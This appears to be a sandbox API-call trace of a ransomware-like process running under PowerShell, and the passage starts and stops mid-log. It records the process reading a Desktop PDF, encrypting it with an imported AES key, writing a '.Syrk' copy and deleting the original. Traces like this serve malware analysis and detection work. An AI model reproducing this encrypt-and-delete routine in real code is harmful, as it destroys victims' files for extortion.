(param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2ꉍ楫돫稔簗漢") returned 0x30 [0205.376] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製锍䒆ܥ簌섇㭩䡎絯≍) returned 0x30 [0205.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製锍䒆ܥ簌섇㭩䡎絯≍) returned 0x30 [0205.376] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.376] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q楫돫稔簗漢") returned 0x30 [0205.376] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製ᜍ曘涛꥕伡먆ꃗ䥟⋁) returned 0x30 [0205.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製ᜍ曘涛꥕伡먆ꃗ䥟⋁) returned 0x30 [0205.376] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.377] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=돫稔簗漢") returned 0x30 [0205.377] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.377] EtwEventActivityIdControl () returned 0x0 [0205.377] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製഍쨫씩䅤덄괬㩎∶) returned 0x30 [0205.377] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.377] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=돫稔簗漢") returned 0x30 [0205.377] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0205.379] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4d188) returned 1 [0205.381] CryptImportKey (in: hProv=0x5c4d188, pbData=0x24a65d8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c69240) returned 1 [0205.381] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0205.381] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.382] EtwEventActivityIdControl () returned 0x0 [0205.382] EtwEventActivityIdControl () returned 0x0 [0205.382] EtwEventActivityIdControl () returned 0x0 [0205.389] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf")) returned 0x20 [0205.390] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf")) returned 0x20 [0205.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0205.390] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", lpFilePart=0x0) returned 0x2d [0205.390] EtwEventActivityIdControl () returned 0x0 [0205.390] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.391] EtwEventActivityIdControl () returned 0x0 [0205.391] EtwEventActivityIdControl () returned 0x0 [0205.391] EtwEventActivityIdControl () returned 0x0 [0205.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0205.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", lpFilePart=0x0) returned 0x2d [0205.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0205.392] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0205.393] GetFileType (hFile=0x42c) returned 0x1 [0205.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0205.393] GetFileType (hFile=0x42c) returned 0x1 [0205.393] EtwEventActivityIdControl () returned 0x0 [0205.393] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.394] EtwEventActivityIdControl () returned 0x0 [0205.394] EtwEventActivityIdControl () returned 0x0 [0205.394] EtwEventActivityIdControl () returned 0x0 [0205.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0205.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk", lpFilePart=0x0) returned 0x32 [0205.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0205.395] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0205.590] GetFileType (hFile=0x44c) returned 0x1 [0205.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0205.590] GetFileType (hFile=0x44c) returned 0x1 [0205.591] EtwEventActivityIdControl () returned 0x0 [0205.591] CryptGenRandom (in: hProv=0x5c4d188, dwLen=0x10, pbBuffer=0x24b6a00 | out: pbBuffer=0x24b6a00) returned 1 [0205.593] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0205.593] CryptDuplicateKey (in: hKey=0x5c69240, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x3b5368) returned 1 [0205.593] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0205.593] CryptSetKeyParam (hKey=0x3b5368, dwParam=0x4, pbData=0x24b7d38*=0x1, dwFlags=0x0) returned 1 [0205.593] CryptSetKeyParam (hKey=0x3b5368, dwParam=0x1, pbData=0x24b7d04, dwFlags=0x0) returned 1 [0205.594] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.594] EtwEventActivityIdControl () returned 0x0 [0205.594] EtwEventActivityIdControl () returned 0x0 [0205.594] EtwEventActivityIdControl () returned 0x0 [0205.596] EtwEventActivityIdControl () returned 0x0 [0205.597] ReadFile (in: hFile=0x42c, lpBuffer=0x24ba974, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x24ba974*, lpNumberOfBytesRead=0x5a2e6fc*=0x8621, lpOverlapped=0x0) returned 1 [0205.599] CryptEncrypt (in: hKey=0x3b5368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24ce98c*, pdwDataLen=0x5a2e6f0*=0x8620, dwBufLen=0x8620 | out: pbData=0x24ce98c*, pdwDataLen=0x5a2e6f0*=0x8620) returned 1 [0205.600] WriteFile (in: hFile=0x44c, lpBuffer=0x24b6ae8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x24b6ae8*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0205.601] WriteFile (in: hFile=0x44c, lpBuffer=0x24cf978*, nNumberOfBytesToWrite=0x7634, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x24cf978*, lpNumberOfBytesWritten=0x5a2e6d4*=0x7634, lpOverlapped=0x0) returned 1 [0205.602] ReadFile (in: hFile=0x42c, lpBuffer=0x24ba974, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x24ba974*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0205.602] CryptEncrypt (in: hKey=0x3b5368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d6fb8*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x24d6fb8*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0205.602] CryptEncrypt (in: hKey=0x3b5368, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24d6fd4*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x24d6fd4*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0205.602] WriteFile (in: hFile=0x44c, lpBuffer=0x24b6ae8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x24b6ae8*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0205.603] CloseHandle (hObject=0x44c) returned 1 [0205.605] CloseHandle (hObject=0x42c) returned 1 [0205.605] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.606] EtwEventActivityIdControl () returned 0x0 [0205.606] EtwEventActivityIdControl () returned 0x0 [0205.606] EtwEventActivityIdControl () returned 0x0 [0205.611] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf")) returned 0x20 [0205.614] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0205.614] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", lpFilePart=0x0) returned 0x2d [0205.614] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0205.614] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0205.614] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0205.614] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0205.614] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0205.615] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0205.615] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0205.615] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0205.615] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0205.615] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0205.615] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0205.615] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0205.616] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0205.616] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0205.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0205.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0205.616] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf")) returned 0x20 [0205.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0205.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", lpFilePart=0x0) returned 0x2d [0205.620] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0205.620] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", lpFilePart=0x0) returned 0x2d [0205.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0205.620] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0205.621] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", lpFilePart=0x0) returned 0x2d [0205.621] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0205.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0205.621] CoTaskMemAlloc (cb=0x404) returned 0x38a6b8 [0205.621] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x38a6b8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0205.622] CoTaskMemFree (pv=0x38a6b8) [0205.624] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf")) returned 0x20 [0205.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0205.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf", lpFilePart=0x0) returned 0x2d [0205.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0205.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf"), fInfoLevelId=0x0, lpFileInformation=0x24e22b0 | out: lpFileInformation=0x24e22b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f31a530, ftCreationTime.dwHighDateTime=0x1d99382, ftLastAccessTime.dwLowDateTime=0xf5e6c990, ftLastAccessTime.dwHighDateTime=0x1d99887, ftLastWriteTime.dwLowDateTime=0xf5e6c990, ftLastWriteTime.dwHighDateTime=0x1d99887, nFileSizeHigh=0x0, nFileSizeLow=0x8621)) returned 1 [0205.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0205.624] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf")) returned 1 [0205.771] EtwEventActivityIdControl () returned 0x0 [0205.771] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.772] EtwEventActivityIdControl () returned 0x0 [0205.772] EtwEventActivityIdControl () returned 0x0 [0205.772] EtwEventActivityIdControl () returned 0x0 [0205.779] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf.syrk")) returned 0x20 [0205.780] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf.syrk")) returned 0x20 [0205.780] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0205.780] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk", lpFilePart=0x0) returned 0x32 [0205.781] EtwEventActivityIdControl () returned 0x0 [0205.781] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.782] EtwEventActivityIdControl () returned 0x0 [0205.782] EtwEventActivityIdControl () returned 0x0 [0205.782] EtwEventActivityIdControl () returned 0x0 [0205.786] EtwEventActivityIdControl () returned 0x0 [0205.786] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.787] EtwEventActivityIdControl () returned 0x0 [0205.787] EtwEventActivityIdControl () returned 0x0 [0205.787] EtwEventActivityIdControl () returned 0x0 [0205.790] EtwEventActivityIdControl () returned 0x0 [0205.791] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.791] EtwEventActivityIdControl () returned 0x0 [0205.791] EtwEventActivityIdControl () returned 0x0 [0205.791] EtwEventActivityIdControl () returned 0x0 [0205.795] EtwEventActivityIdControl () returned 0x0 [0205.795] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.796] EtwEventActivityIdControl () returned 0x0 [0205.796] EtwEventActivityIdControl () returned 0x0 [0205.796] EtwEventActivityIdControl () returned 0x0 [0205.799] EtwEventActivityIdControl () returned 0x0 [0205.800] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.800] EtwEventActivityIdControl () returned 0x0 [0205.800] EtwEventActivityIdControl () returned 0x0 [0205.800] EtwEventActivityIdControl () returned 0x0 [0205.804] EtwEventActivityIdControl () returned 0x0 [0206.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0206.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Lf Z_NDA58Jhfm.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\lf z_nda58jhfm.pdf.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24ebca0 | out: lpFileInformation=0x24ebca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f0aea0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf6f0aea0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf71201e0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x8644)) returned 1 [0206.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0206.186] GetConsoleOutputCP () returned 0x1b5 [0206.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0206.187] GetConsoleOutputCP () returned 0x1b5 [0206.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0206.187] GetConsoleOutputCP () returned 0x1b5 [0206.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0206.187] GetConsoleOutputCP () returned 0x1b5 [0206.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0206.187] GetConsoleOutputCP () returned 0x1b5 [0206.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0206.188] GetConsoleOutputCP () returned 0x1b5 [0206.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0206.188] GetConsoleOutputCP () returned 0x1b5 [0206.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0206.188] GetConsoleOutputCP () returned 0x1b5 [0206.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0206.188] GetConsoleOutputCP () returned 0x1b5 [0206.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0206.189] GetConsoleOutputCP () returned 0x1b5 [0206.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0206.189] GetConsoleOutputCP () returned 0x1b5 [0206.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0206.189] GetConsoleOutputCP () returned 0x1b5 [0206.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0206.189] GetConsoleOutputCP () returned 0x1b5 [0206.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0206.189] GetConsoleOutputCP () returned 0x1b5 [0206.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0206.190] GetConsoleOutputCP () returned 0x1b5 [0206.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0206.190] GetConsoleOutputCP () returned 0x1b5 [0206.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0206.190] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0206.191] GetConsoleMode (in: 